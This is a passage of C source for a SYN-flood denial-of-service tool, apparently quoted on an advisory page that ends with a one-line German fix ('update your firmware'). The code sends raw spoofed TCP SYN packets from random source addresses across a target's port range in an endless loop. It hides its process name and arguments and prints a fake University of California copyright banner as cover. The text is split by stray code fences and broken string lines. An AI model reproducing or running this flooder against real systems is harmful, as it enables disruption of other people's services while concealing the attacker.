        th.seq=htonl(SEQ);
        th.doff=sizeof(th)/4;
        th.ack_seq=0;
        th.res1=0;
        th.fin=0;
        th.syn=1;
        th.rst=0;
        th.psh=0;
        th.ack=0;
        th.urg=0;
        th.res2=0;
        th.window=htons(65535);
        th.check=0;
        th.urg_ptr=0;

        gettimeofday(&tv, 0);

        send_tcp_segment(&ih, &th, "", 0);

        send_seq = SEQ+1+strlen(buf);
}
void upsc()
{
        int i;
        char schar;
        switch(cnt)
          {
          case 0:
                    {
                            schar = '|';
                            break;
                    }
          case 1:
                    {
                            schar = '/';
                            break;
                    }
          case 2:
                    {
                            schar = '-';
                            break;
                    }
          case 3:
                    {
```

```
                        schar = '\\';
                        break;
                }
          case 4:
                {
                        schar = '|';
                        cnt = 0;
                        break;
                }
          }
        printf(" [H [1;30m[ [1;31m%c [1;30m] [0m %d", schar, curc);
        cnt++;
        for(i=0; i<26; i++)  {
                i++;
                curc++;
        }
}
void init_signals()
{
        // Every Signal known to man. If one gives you an error,
comment it out!
        signal(SIGHUP, sig_exit);
        signal(SIGINT, sig_exit);
        signal(SIGQUIT, sig_exit);
        signal(SIGILL, sig_exit);
        signal(SIGTRAP, sig_exit);
        signal(SIGIOT, sig_exit);
        signal(SIGBUS, sig_exit);
        signal(SIGFPE, sig_exit);
        signal(SIGKILL, sig_exit);
        signal(SIGUSR1, sig_exit);
        signal(SIGSEGV, sig_segv);
        signal(SIGUSR2, sig_exit);
        signal(SIGPIPE, sig_exit);
        signal(SIGALRM, sig_exit);
        signal(SIGTERM, sig_exit);
        signal(SIGCHLD, sig_exit);
        signal(SIGCONT, sig_exit);
        signal(SIGSTOP, sig_exit);
        signal(SIGTSTP, sig_exit);
        signal(SIGTTIN, sig_exit);
        signal(SIGTTOU, sig_exit);
        signal(SIGURG, sig_exit);
        signal(SIGXCPU, sig_exit);
        signal(SIGXFSZ, sig_exit);
        signal(SIGVTALRM, sig_exit);
        signal(SIGPROF, sig_exit);
        signal(SIGWINCH, sig_exit);
        signal(SIGIO, sig_exit);
        signal(SIGPWR, sig_exit);
}
main(int argc, char **argv) {
   int i, x, max, floodloop, diff, urip, a, b, c, d;
   unsigned long them, me_fake;
```

```
   unsigned lowport, highport;
   char buf[1024], *junk;

   init_signals();
#ifdef HIDDEN
   for (i = argc-1; i >= 0; i--)
     /* Some people like bzero...i prefer memset :) */
     memset(argv[i], 0, strlen(argv[i]));
   strcpy(argv[0], HIDDEN);
#endif

   if(argc<5) {
      printf("Usage: %s srcaddr dstaddr low high\n", argv[0]);
      printf("    If srcaddr is 0, random addresses will be
used\n\n\n");

      exit(1);
   }
   if( atoi(argv[1]) == 0 )
     urip = 1;
   else
     me_fake=getaddr(argv[1]);
   them=getaddr(argv[2]);
   lowport=atoi(argv[3]);
   highport=atoi(argv[4]);
   srandom(time(0));
   ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   if(ssock<0) {
      perror("socket (raw)");
      exit(1);
   }
   sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
   if(sock<0) {
      perror("socket");
      exit(1);
   }
   junk = (char *)malloc(1024);
   max = 1500;
   i = 1;
   diff = (highport - lowport);

   if (diff > -1)
     {
        printf(" [H [J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990,
1991 The Regents of the University\n of California. All Rights
Reserved.");
        for (i=1;i>0;i++)
          {
             srandom((time(0)+i));
             srcport = getrandom(1, max)+1000;
             for (x=lowport;x<=highport;x++)
               {
                  if ( urip == 1 )
```

```
                        {
                           a = getrandom(0, 255);
                           b = getrandom(0, 255);
                           c = getrandom(0, 255);
                           d = getrandom(0, 255);
                           sprintf(junk, "%i.%i.%i.%i", a, b, c, d);
                           me_fake = getaddr(junk);
                        }

                     spoof_open(/*0xe1e26d0a*/ me_fake, them, x);
                     /* A fair delay. Good for a 28.8 connection */
                     usleep(300);

                     if (!(floodloop = (floodloop+1)%(diff+1))) {
                        upsc(); fflush(stdout);
                     }
                  }
               }
            }
         else {
            printf("High port must be greater than Low port.\n");
            exit(1);
         }
      }
```

Lösung: Aktualisieren Sie Ihre Firmware.